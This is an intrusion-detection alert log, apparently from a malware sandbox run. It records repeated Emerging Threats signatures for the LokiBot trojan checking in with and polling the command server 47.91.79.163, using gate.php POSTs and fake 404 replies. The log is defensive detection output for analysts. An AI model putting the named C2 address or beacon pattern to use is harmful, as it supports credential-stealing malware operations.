12/03/20-10:04:04.476197	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49979	47.91.79.163	192.168.2.3
12/03/20-10:04:04.697742	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49980	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.697742	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49980	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.697742	TCP	2025381	ET TROJAN LokiBot Checkin	49980	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.697742	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49980	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.697742	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49980	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.758396	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49980	47.91.79.163	192.168.2.3
12/03/20-10:04:04.963596	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49981	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.963596	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49981	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.963596	TCP	2025381	ET TROJAN LokiBot Checkin	49981	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.963596	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49981	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.963596	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49981	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.025184	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49981	47.91.79.163	192.168.2.3
12/03/20-10:04:05.247696	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49982	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.247696	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49982	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.247696	TCP	2025381	ET TROJAN LokiBot Checkin	49982	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.247696	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49982	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.247696	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49982	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.306277	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49982	47.91.79.163	192.168.2.3
12/03/20-10:04:05.532498	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49983	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.532498	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49983	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.532498	TCP	2025381	ET TROJAN LokiBot Checkin	49983	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.532498	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49983	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.532498	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49983	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.593428	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49983	47.91.79.163	192.168.2.3
12/03/20-10:04:05.820293	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49984	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.820293	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49984	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.820293	TCP	2025381	ET TROJAN LokiBot Checkin	49984	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.820293	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49984	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.820293	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49984	80	192.168.2.3	47.91.79.163
12/03/20-10:04:05.895039	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49984	47.91.79.163	192.168.2.3
12/03/20-10:04:06.123173	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49985	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.123173	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49985	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.123173	TCP	2025381	ET TROJAN LokiBot Checkin	49985	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.123173	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49985	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.123173	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49985	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.183388	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49985	47.91.79.163	192.168.2.3
12/03/20-10:04:06.401192	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49986	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.401192	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49986	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.401192	TCP	2025381	ET TROJAN LokiBot Checkin	49986	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.401192	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49986	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.401192	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49986	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.462903	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49986	47.91.79.163	192.168.2.3
12/03/20-10:04:06.688485	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49987	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.688485	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49987	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.688485	TCP	2025381	ET TROJAN LokiBot Checkin	49987	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.688485	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49987	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.688485	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49987	80	192.168.2.3	47.91.79.163
12/03/20-10:04:06.751387	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49987	47.91.79.163	192.168.2.3
12/03/20-10:04:07.003231	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49988	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.003231	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49988	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.003231	TCP	2025381	ET TROJAN LokiBot Checkin	49988	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.003231	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49988	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.003231	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49988	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.064446	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49988	47.91.79.163	192.168.2.3
12/03/20-10:04:07.279062	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49989	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.279062	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49989	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.279062	TCP	2025381	ET TROJAN LokiBot Checkin	49989	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.279062	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49989	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.279062	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49989	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.338927	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49989	47.91.79.163	192.168.2.3
12/03/20-10:04:07.573982	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49990	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.573982	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49990	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.573982	TCP	2025381	ET TROJAN LokiBot Checkin	49990	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.573982	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49990	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.573982	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49990	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.634060	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49990	47.91.79.163	192.168.2.3
12/03/20-10:04:07.858334	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49991	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.858334	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49991	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.858334	TCP	2025381	ET TROJAN LokiBot Checkin	49991	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.858334	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49991	80	192.168.2.3	47.91.79.163
12/03/20-10:04:07.858334	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49991	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.050303	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49991	47.91.79.163	192.168.2.3
12/03/20-10:04:08.266673	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49992	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.266673	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49992	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.266673	TCP	2025381	ET TROJAN LokiBot Checkin	49992	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.266673	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49992	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.266673	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49992	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.326612	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49992	47.91.79.163	192.168.2.3
12/03/20-10:04:08.547826	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49993	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.547826	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49993	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.547826	TCP	2025381	ET TROJAN LokiBot Checkin	49993	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.547826	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49993	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.547826	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49993	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.606347	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49993	47.91.79.163	192.168.2.3
12/03/20-10:04:08.827518	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49995	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.827518	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49995	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.827518	TCP	2025381	ET TROJAN LokiBot Checkin	49995	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.827518	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49995	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.827518	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49995	80	192.168.2.3	47.91.79.163
12/03/20-10:04:08.888387	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49995	47.91.79.163	192.168.2.3
12/03/20-10:04:09.106498	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49996	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.106498	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49996	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.106498	TCP	2025381	ET TROJAN LokiBot Checkin	49996	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.106498	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49996	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.106498	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49996	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.171284	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49996	47.91.79.163	192.168.2.3
12/03/20-10:04:09.374098	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49997	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.374098	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49997	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.374098	TCP	2025381	ET TROJAN LokiBot Checkin	49997	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.374098	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49997	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.374098	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49997	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.432904	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49997	47.91.79.163	192.168.2.3
12/03/20-10:04:09.662563	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49999	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.662563	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49999	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.662563	TCP	2025381	ET TROJAN LokiBot Checkin	49999	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.662563	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49999	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.662563	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49999	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.725847	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49999	47.91.79.163	192.168.2.3
12/03/20-10:04:09.951988	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50000	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.951988	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50000	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.951988	TCP	2025381	ET TROJAN LokiBot Checkin	50000	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.951988	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50000	80	192.168.2.3	47.91.79.163
12/03/20-10:04:09.951988	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50000	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.009026	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50000	47.91.79.163	192.168.2.3
12/03/20-10:04:10.243520	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50001	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.243520	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50001	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.243520	TCP	2025381	ET TROJAN LokiBot Checkin	50001	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.243520	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50001	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.243520	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50001	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.302791	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50001	47.91.79.163	192.168.2.3
12/03/20-10:04:10.507912	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50002	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.507912	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50002	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.507912	TCP	2025381	ET TROJAN LokiBot Checkin	50002	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.507912	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50002	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.507912	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50002	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.569188	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50002	47.91.79.163	192.168.2.3
12/03/20-10:04:10.788542	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50003	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.788542	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50003	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.788542	TCP	2025381	ET TROJAN LokiBot Checkin	50003	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.788542	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50003	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.788542	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50003	80	192.168.2.3	47.91.79.163
12/03/20-10:04:10.861552	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50003	47.91.79.163	192.168.2.3
12/03/20-10:04:11.075915	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50004	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.075915	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50004	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.075915	TCP	2025381	ET TROJAN LokiBot Checkin	50004	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.075915	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50004	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.075915	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50004	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.206683	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50004	47.91.79.163	192.168.2.3
12/03/20-10:04:11.442584	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50005	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.442584	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50005	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.442584	TCP	2025381	ET TROJAN LokiBot Checkin	50005	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.442584	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50005	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.442584	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50005	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.511031	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50005	47.91.79.163	192.168.2.3
12/03/20-10:04:11.722307	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50006	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.722307	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50006	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.722307	TCP	2025381	ET TROJAN LokiBot Checkin	50006	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.722307	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50006	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.722307	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50006	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.775321	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50006	47.91.79.163	192.168.2.3
12/03/20-10:04:11.992416	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50007	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.992416	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50007	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.992416	TCP	2025381	ET TROJAN LokiBot Checkin	50007	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.992416	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50007	80	192.168.2.3	47.91.79.163
12/03/20-10:04:11.992416	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50007	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.055451	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50007	47.91.79.163	192.168.2.3
12/03/20-10:04:12.296639	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50008	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.296639	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50008	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.296639	TCP	2025381	ET TROJAN LokiBot Checkin	50008	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.296639	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50008	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.296639	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50008	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.396987	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50008	47.91.79.163	192.168.2.3
12/03/20-10:04:12.634507	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50009	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.634507	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50009	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.634507	TCP	2025381	ET TROJAN LokiBot Checkin	50009	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.634507	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50009	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.634507	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50009	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.694489	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50009	47.91.79.163	192.168.2.3
12/03/20-10:04:12.913600	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50010	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.913600	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50010	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.913600	TCP	2025381	ET TROJAN LokiBot Checkin	50010	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.913600	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50010	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.913600	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50010	80	192.168.2.3	47.91.79.163
12/03/20-10:04:12.980753	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50010	47.91.79.163	192.168.2.3
12/03/20-10:04:13.192843	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50011	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.192843	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50011	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.192843	TCP	2025381	ET TROJAN LokiBot Checkin	50011	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.192843	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50011	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.192843	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50011	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.277597	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50011	47.91.79.163	192.168.2.3
12/03/20-10:04:13.509328	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50012	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.509328	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50012	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.509328	TCP	2025381	ET TROJAN LokiBot Checkin	50012	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.509328	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50012	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.509328	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50012	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.581256	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50012	47.91.79.163	192.168.2.3
12/03/20-10:04:13.827815	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50013	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.827815	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50013	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.827815	TCP	2025381	ET TROJAN LokiBot Checkin	50013	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.827815	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50013	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.827815	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50013	80	192.168.2.3	47.91.79.163
12/03/20-10:04:13.898849	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50013	47.91.79.163	192.168.2.3
12/03/20-10:04:14.124274	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50014	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.124274	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50014	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.124274	TCP	2025381	ET TROJAN LokiBot Checkin	50014	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.124274	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50014	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.124274	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50014	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.184983	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50014	47.91.79.163	192.168.2.3
12/03/20-10:04:14.405318	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50015	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.405318	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50015	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.405318	TCP	2025381	ET TROJAN LokiBot Checkin	50015	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.405318	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50015	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.405318	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50015	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.465339	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50015	47.91.79.163	192.168.2.3
12/03/20-10:04:14.692822	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50016	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.692822	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50016	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.692822	TCP	2025381	ET TROJAN LokiBot Checkin	50016	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.692822	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50016	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.692822	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50016	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.751431	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50016	47.91.79.163	192.168.2.3
12/03/20-10:04:14.958776	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50017	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.958776	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50017	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.958776	TCP	2025381	ET TROJAN LokiBot Checkin	50017	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.958776	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50017	80	192.168.2.3	47.91.79.163
12/03/20-10:04:14.958776	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	50017	80	192.168.2.3	47.91.79.163
12/03/20-10:04:15.017358	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50017	47.91.79.163	192.168.2.3
12/03/20-10:04:15.237436	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50018	80	192.168.2.3	47.91.79.163
